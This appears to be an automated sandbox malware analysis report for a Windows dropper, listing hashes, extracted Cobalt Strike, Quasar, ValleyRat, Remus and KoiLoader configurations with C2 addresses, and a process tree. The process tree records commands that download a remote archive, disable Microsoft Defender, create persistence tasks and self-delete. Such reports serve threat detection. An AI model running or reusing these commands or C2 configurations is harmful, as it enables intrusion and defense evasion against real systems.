cobaltstrike | 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac

geolocation tags

asiadelhiinindia
max time kernel
4s
max time network
126s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/07/2026, 03:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2to1ep.exe
Size 13.1MB
Sample260703-dpyszaay5s
SHA256 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac
MD5 7d1a85e807ff9b48edc2e08a01b35e07
SHA1 9d772258c620629c299bbad24c968b1cc476a6a1
SHA512 8553ca5d63c2667da0f1044a1c6d00713a5f7d826cd5e5e17cdcf1a2eed4ece844b7d16a06933c44273181d98d330eb944f8b72d835bdd31d75be7b3b75edc43
SSDEEP 196608:APPuglgRWUeR24iMqWNo2mtKVzurHm5POMP/XRL234tSoz2/Tsj+51nOxd:EPuhRW1R2JtWNhqKVzuC5zXA34tSQ
TLSH
T1D7D63338236406E7F4F6D734E940C4B6D6ABAD161B57C28383F8D56B2D232C16A373A5
MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family

valleyrat_s2

Version

103.231.14.104:4333
103.231.14.104:4443
127.0.0.1:80

Attributes

campaign_date
1

Extracted

Family

remus_stealer

http://carogra.biz:4219
http://myrtler.biz:9549
http://angect.xyz:7838

Extracted

Family

quasar

Version

1.4.1

Botnet

RuntimeBroker

wisedreams-53895.portmap.io:53895

Mutex

3660874b-db54-4220-a432-d5fe6599ee7f

Attributes

encryption_key
2EEF46A138D721E58A3C90F6CE7CFC94A47B0492
install_name
updater.exe
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
Logs
reconnect_delay
3000
startup_key
RuntimeBroker
subdirectory
SubDir

Extracted

Family

koiloader

http://185.62.57.53/unerect.php

Attributes

payload_url
https://theoremaoliveoil.com/wp-content/uploads/2019/04

Extracted

Family

cobaltstrike

Botnet

100000000

http://51.77.77.161:443/sitemap.xml

Attributes

access_type
512
beacon_type
2048
host
51.77.77.161,/sitemap.xml
http_header1
AAAACgAAAFJBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LGltYWdlL3dlYnAsKi8qO3E9MC44AAAAEAAAABVIb3N0OiB3d3cueWFob28uY28uanAAAAAKAAAAIVJlZmVyZXI6IGh0dHBzOi8vd3d3LnlhaG9vLmNvLmpwLwAAAAoAAAAiQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlLCBicgAAAAoAAAB7VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzExMi4wLjAuMCBTYWZhcmkvNTM3LjM2AAAACgAAADRBY2NlcHQtTGFuZ3VhZ2U6IGphLUpQLGphO3E9MC45LGVuLVVTO3E9MC44LGVuO3E9MC43AAAABwAAAAAAAAANAAAAAgAAAARZU0M9AAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_header2
AAAACgAAAFJBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LGltYWdlL3dlYnAsKi8qO3E9MC44AAAAEAAAABVIb3N0OiB3d3cueWFob28uY28uanAAAAAKAAAAJ1JlZmVyZXI6IGh0dHBzOi8vd3d3LnlhaG9vLmNvLmpwL3NlYXJjaAAAAAoAAAAiQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlLCBicgAAAAoAAAB7VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzExMi4wLjAuMCBTYWZhcmkvNTM3LjM2AAAACgAAADRBY2NlcHQtTGFuZ3VhZ2U6IGphLUpQLGphO3E9MC45LGVuLVVTO3E9MC44LGVuO3E9MC43AAAACgAAAC9Db250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZAAAAAcAAAAAAAAADwAAAA0AAAAFAAAABHlzaWQAAAAHAAAAAQAAAA8AAAANAAAABAAAAAAAAAAAAAA=
http_method1
GET
http_method2
POST
jitter
9472
polling_time
45000
port_number
443
sc_process32
%windir%\syswow64\dllhost.exe
sc_process64
%windir%\sysnative\dllhost.exe
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnrqnRgLeqPpa2wJGQmftPgeWvFyCCFjULPdTAZQEcqNKgdO0HMT0bB67vQA1xgd1gikHOjzLkBeM3aPIwnDvMP5lH8Zxk+5t6qt4OYGlVoU9vBDwTcXRIMVXHuvvABcaH71IjHfEp3Veqqhs0pcTLabHGtzcBqmzfhmfpqFDgWQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
unknown1
3.24408576e+08
unknown2
AAAABAAAAAEAAABVAAAAAgAAAGMAAAANAAAADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
uri
/robots.txt
user_agent
Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
watermark
100000000

Signatures

Family: Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
trojan backdoor cobaltstrike
Family: KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader
Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Family: Remus
Remus is a stealer written in C++.
stealer remus_stealer
Family: ValleyRat
ValleyRat stage2 is a backdoor written in C++.
backdoor valleyrat_s2

Detects KoiLoader payload 2 IoCs

loader

resource	yara_rule
behavioral2/memory/11768-983-0x0000000002990000-0x000000000299D000-memory.dmp	family_koi_loader
behavioral2/memory/11760-972-0x00000000014D0000-0x00000000014DD000-memory.dmp	family_koi_loader

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/9968-886-0x00000000002C0000-0x00000000005E4000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1300	powershell.exe
8876	powershell.exe
9672	powershell.exe
10268	powershell.exe
10512	powershell.exe
10068	powershell.exe
14500	powershell.exe
13276	powershell.exe
2072	powershell.exe
6356	powershell.exe
7952	powershell.exe
9828	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
6356	powershell.exe

Downloads MZ/PE file

Signed with revoked ConnectWise certificate 4 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral2/files/0x000d00000001c6d8-867.dat	revoked_cert_connectwise
behavioral2/files/0x000d00000001c6b4-2426.dat	revoked_cert_connectwise
behavioral2/files/0x000d00000001c6bd-2425.dat	revoked_cert_connectwise
behavioral2/files/0x000d00000001c6d4-2421.dat	revoked_cert_connectwise

Loads dropped DLL 21 IoCs

pid	Process
2860	2to1ep.exe
2860	2to1ep.exe
2860	2to1ep.exe
2860	2to1ep.exe
2860	2to1ep.exe
2860	2to1ep.exe
2860	2to1ep.exe
2860	2to1ep.exe
2860	2to1ep.exe
2860	2to1ep.exe
2860	2to1ep.exe
2860	2to1ep.exe
2860	2to1ep.exe
2860	2to1ep.exe
2860	2to1ep.exe
2860	2to1ep.exe
2860	2to1ep.exe
2860	2to1ep.exe
2860	2to1ep.exe
2860	2to1ep.exe
2860	2to1ep.exe

Contacts third-party web service commonly abused for C2 1 TTPs 57 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
336	raw.githubusercontent.com
569	raw.githubusercontent.com
341	raw.githubusercontent.com
390	raw.githubusercontent.com
553	pastebin.com
215	raw.githubusercontent.com
254	pastebin.com
187	raw.githubusercontent.com
188	raw.githubusercontent.com
190	raw.githubusercontent.com
205	raw.githubusercontent.com
542	pastebin.com
178	raw.githubusercontent.com
192	raw.githubusercontent.com
216	raw.githubusercontent.com
182	raw.githubusercontent.com
251	pastebin.com
561	pastebin.com
180	raw.githubusercontent.com
183	raw.githubusercontent.com
191	raw.githubusercontent.com
223	raw.githubusercontent.com
226	raw.githubusercontent.com
338	raw.githubusercontent.com
558	pastebin.com
217	raw.githubusercontent.com
563	pastebin.com
31	raw.githubusercontent.com
196	raw.githubusercontent.com
212	raw.githubusercontent.com
221	raw.githubusercontent.com
337	raw.githubusercontent.com
23	pastebin.com
206	raw.githubusercontent.com
544	pastebin.com
184	raw.githubusercontent.com
186	raw.githubusercontent.com
185	raw.githubusercontent.com
389	raw.githubusercontent.com
437	raw.githubusercontent.com
179	raw.githubusercontent.com
225	raw.githubusercontent.com
249	pastebin.com
250	pastebin.com
189	raw.githubusercontent.com
219	raw.githubusercontent.com
220	raw.githubusercontent.com
222	raw.githubusercontent.com
438	raw.githubusercontent.com
552	pastebin.com
213	raw.githubusercontent.com
214	raw.githubusercontent.com
340	raw.githubusercontent.com
344	raw.githubusercontent.com
436	raw.githubusercontent.com
181	raw.githubusercontent.com
218	raw.githubusercontent.com

UPX packed file 13 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/9868-690-0x0000000000400000-0x0000000000487000-memory.dmp	upx
behavioral2/memory/4980-775-0x0000000000400000-0x0000000000487000-memory.dmp	upx
behavioral2/memory/10208-1207-0x0000000000400000-0x0000000000487000-memory.dmp	upx
behavioral2/memory/12052-1029-0x0000000000350000-0x0000000001E4A000-memory.dmp	upx
behavioral2/memory/9868-971-0x0000000000400000-0x0000000000487000-memory.dmp	upx
behavioral2/memory/9976-1249-0x0000000000400000-0x0000000000487000-memory.dmp	upx
behavioral2/memory/4980-1248-0x0000000000400000-0x0000000000487000-memory.dmp	upx
behavioral2/memory/7668-1247-0x0000000000400000-0x0000000000487000-memory.dmp	upx
behavioral2/memory/10804-838-0x0000000000400000-0x0000000000487000-memory.dmp	upx
behavioral2/memory/10536-816-0x0000000000400000-0x0000000000487000-memory.dmp	upx
behavioral2/memory/7668-774-0x0000000000400000-0x0000000000487000-memory.dmp	upx
behavioral2/memory/10208-766-0x0000000000400000-0x0000000000487000-memory.dmp	upx
behavioral2/files/0x000d00000001c680-751.dat	upx

Event Triggered Execution: Installer Packages 2 TTPs 6 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
1576	msiexec.exe
10008	msiexec.exe
2640	msiexec.exe
8256	msiexec.exe
10264	msiexec.exe
12032	msiexec.exe

Program crash 6 IoCs

pid	pid_target	Process	procid_target
7896	9768	WerFault.exe	198
11488	10572	WerFault.exe
12812	10588	WerFault.exe
12820	10580	WerFault.exe
12804	10588	WerFault.exe
12752	10580	WerFault.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 5 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
7616	cmd.exe
7216	PING.EXE
13468	fastping_silent_v4.exe
300	PING.EXE
6624	cmd.exe

System Time Discovery 1 TTPs 3 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1692	msedge.exe
15068	chrome.exe
13492	chrome.exe

Inno Setup is an open-source installation builder for Windows applications. 1 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/memory/3960-796-0x0000000000C80000-0x0000000000D63000-memory.dmp	innosetup

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
7804	taskkill.exe
13804	taskkill.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
300	PING.EXE
7216	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3616	schtasks.exe
14344	schtasks.exe
1404	schtasks.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2424	Taskmgr.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2828 wrote to memory of 2860	2828	2to1ep.exe	91
PID 2860 wrote to memory of 5796	2860	2to1ep.exe	92
PID 5796 wrote to memory of 1404	5796	cmd.exe	93
PID 2860 wrote to memory of 1452	2860	2to1ep.exe	94
PID 1452 wrote to memory of 2424	1452	cmd.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2828
- C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
  "C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5796
  - - C:\Windows\system32\schtasks.exe
      schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1404
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C start c:\Windows\System32\Taskmgr.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1452
  - - \??\c:\Windows\System32\Taskmgr.exe
      c:\Windows\System32\Taskmgr.exe
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:2424
- - C:\Users\Admin\AppData\Local\Temp\a\8.exe
    8.exe
    3⤵
    PID:4988
- - C:\Users\Admin\AppData\Local\Temp\a\7.exe
    7.exe
    3⤵
    PID:5100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File file_7abbb1cadc4625ad.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1300
- - C:\Users\Admin\AppData\Local\Temp\a\1.exe
    1.exe
    3⤵
    PID:1716
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i vmware-setup.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:2640
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe spx.vbs
    3⤵
    PID:6048
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\Sys13589\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys13589\tmp103.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip
      4⤵
      PID:6512
    - - C:\Users\Public\Documents\Sys13589\msvcrt.dll
        
        C:\Users\Public\Documents\Sys13589\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys13589\tmp103.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip
        5⤵
        
        PID:6744
- - C:\Users\Admin\AppData\Local\Temp\a\support.client.exe
    support.client.exe
    3⤵
    PID:1248
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
      4⤵
      PID:1760
- - C:\Users\Admin\AppData\Local\Temp\a\support.client.exe
    support.client.exe
    3⤵
    PID:5320
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
      4⤵
      PID:5760
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe encrypted.hta
    3⤵
    PID:5420
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe DetectionRateTesting.hta
    3⤵
    PID:2068
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe encrypted.hta
    3⤵
    PID:5368
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe encrypted.hta
    3⤵
    PID:1708
- - C:\Users\Admin\AppData\Local\Temp\a\Silentum_Spoofer.exe
    Silentum_Spoofer.exe
    3⤵
    PID:6008
- - C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exe
    CFXBypass.exe
    3⤵
    PID:4060
- - C:\Users\Admin\AppData\Local\Temp\a\support.client.exe
    support.client.exe
    3⤵
    PID:2732
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
      4⤵
      PID:944
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe MaybeWorking.hta
    3⤵
    PID:4596
- - C:\Users\Admin\AppData\Local\Temp\a\net_launcher.exe
    net_launcher.exe
    3⤵
    PID:2456
- - C:\Users\Admin\AppData\Local\Temp\a\Silentum_Spoofer.exe
    Silentum_Spoofer.exe
    3⤵
    PID:1868
- - C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exe
    CFXBypass.exe
    3⤵
    PID:4156
- - C:\Users\Admin\AppData\Local\Temp\a\net_launcher.exe
    net_launcher.exe
    3⤵
    PID:4464
- - C:\Users\Admin\AppData\Local\Temp\a\vnc.exe
    vnc.exe
    3⤵
    PID:300
- - C:\Users\Admin\AppData\Local\Temp\a\finale.exe
    finale.exe
    3⤵
    PID:4196
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      PID:6356
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\W64099e73"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:9828
- - C:\Users\Admin\AppData\Local\Temp\a\win.exe
    win.exe
    3⤵
    PID:1916
  - - C:\ProgramData\Windows NT\Windows 任务的主机进程.exe
      "C:\ProgramData\Windows NT\Windows 任务的主机进程.exe"
      4⤵
      PID:6616
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C ping 127.0.0.1 -n 2 >nul & del /f /q "C:\Users\Admin\AppData\Local\Temp\a\win.exe"
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:6624
    - - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 2
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:300
- - C:\Users\Admin\AppData\Local\Temp\a\install.exe
    install.exe
    3⤵
    PID:52
  - - C:\Windows\SYSTEM32\rundll32.exe
      rundll32.exe "C:\ProgramData\RVMCorp\xqt-loop.dll",ProcessComponent
      4⤵
      PID:7268
- - C:\Users\Admin\AppData\Local\Temp\a\a.exe
    a.exe
    3⤵
    PID:256
  - - C:\ProgramData\Windows NT\Windows 任务的主机进程.exe
      "C:\ProgramData\Windows NT\Windows 任务的主机进程.exe"
      4⤵
      PID:7524
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C ping 127.0.0.1 -n 2 >nul & del /f /q "C:\Users\Admin\AppData\Local\Temp\a\a.exe"
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:7616
    - - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 2
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:7216
- - C:\Users\Admin\AppData\Local\Temp\a\file_ac12f1da1bdab1e0.exe
    file_ac12f1da1bdab1e0.exe
    3⤵
    PID:1484
- - C:\Users\Admin\AppData\Local\Temp\a\file_37b904483beaa60e.exe
    file_37b904483beaa60e.exe
    3⤵
    PID:1480
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe"
      4⤵
      PID:6208
- - C:\Users\Admin\AppData\Local\Temp\a\sddilo.exe
    sddilo.exe
    3⤵
    PID:6804
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\umn2wcfm.f0o"
      4⤵
      PID:7960
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\umn2wcfm.f0o /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\umn2wcfm.f0o\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\umn2wcfm.f0o --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff92660c728,0x7ff92660c734,0x7ff92660c740
        5⤵
        
        PID:10940
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\umn2wcfm.f0o" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=2272,i,13071703040826515366,12656403471728866924,262144 --field-trial-handle=2604,i,1344913571611743561,7791347547522738054,262144 --variations-seed-version --mojo-platform-channel-handle=2600 /prefetch:2
        5⤵
        
        PID:13880
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\umn2wcfm.f0o" --force-high-res-timeticks=disabled --metrics-shmem-handle=2520,i,3925640193537978515,13144533504356056096,524288 --field-trial-handle=2604,i,1344913571611743561,7791347547522738054,262144 --variations-seed-version --mojo-platform-channel-handle=3124 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:15068
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\umn2wcfm.f0o" --force-high-res-timeticks=disabled --metrics-shmem-handle=2728,i,10034102361126832495,1887653312341748580,524288 --field-trial-handle=2604,i,1344913571611743561,7791347547522738054,262144 --variations-seed-version --mojo-platform-channel-handle=3132 /prefetch:13
        5⤵
        
        PID:15120
- - C:\Users\Admin\AppData\Local\Temp\a\67890.exe
    67890.exe
    3⤵
    PID:6816
- - C:\Users\Admin\AppData\Local\Temp\a\mueiel09765.exe
    mueiel09765.exe
    3⤵
    PID:6860
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\k4so5atv.cdl"
      4⤵
      PID:11368
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\k4so5atv.cdl /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\k4so5atv.cdl\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\k4so5atv.cdl --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ff92660c728,0x7ff92660c734,0x7ff92660c740
        5⤵
        
        PID:5612
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\k4so5atv.cdl" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=2276,i,16692835550058608077,13357417612857542996,262144 --field-trial-handle=2884,i,11106291179816375259,524798284348155712,262144 --variations-seed-version --mojo-platform-channel-handle=2880 /prefetch:2
        5⤵
        
        PID:13376
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\k4so5atv.cdl" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2436,i,9621097089813057235,15100979897230741075,524288 --field-trial-handle=2884,i,11106291179816375259,524798284348155712,262144 --variations-seed-version --mojo-platform-channel-handle=2920 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:13492
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\k4so5atv.cdl" --force-high-res-timeticks=disabled --metrics-shmem-handle=2392,i,5144328471396343925,287549265720102735,524288 --field-trial-handle=2884,i,11106291179816375259,524798284348155712,262144 --variations-seed-version --mojo-platform-channel-handle=2928 /prefetch:13
        5⤵
        
        PID:14328
- - C:\Users\Admin\AppData\Local\Temp\a\ijklmnopqrxtu.exe
    ijklmnopqrxtu.exe
    3⤵
    PID:6876
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe System1.vbs
    3⤵
    PID:6940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
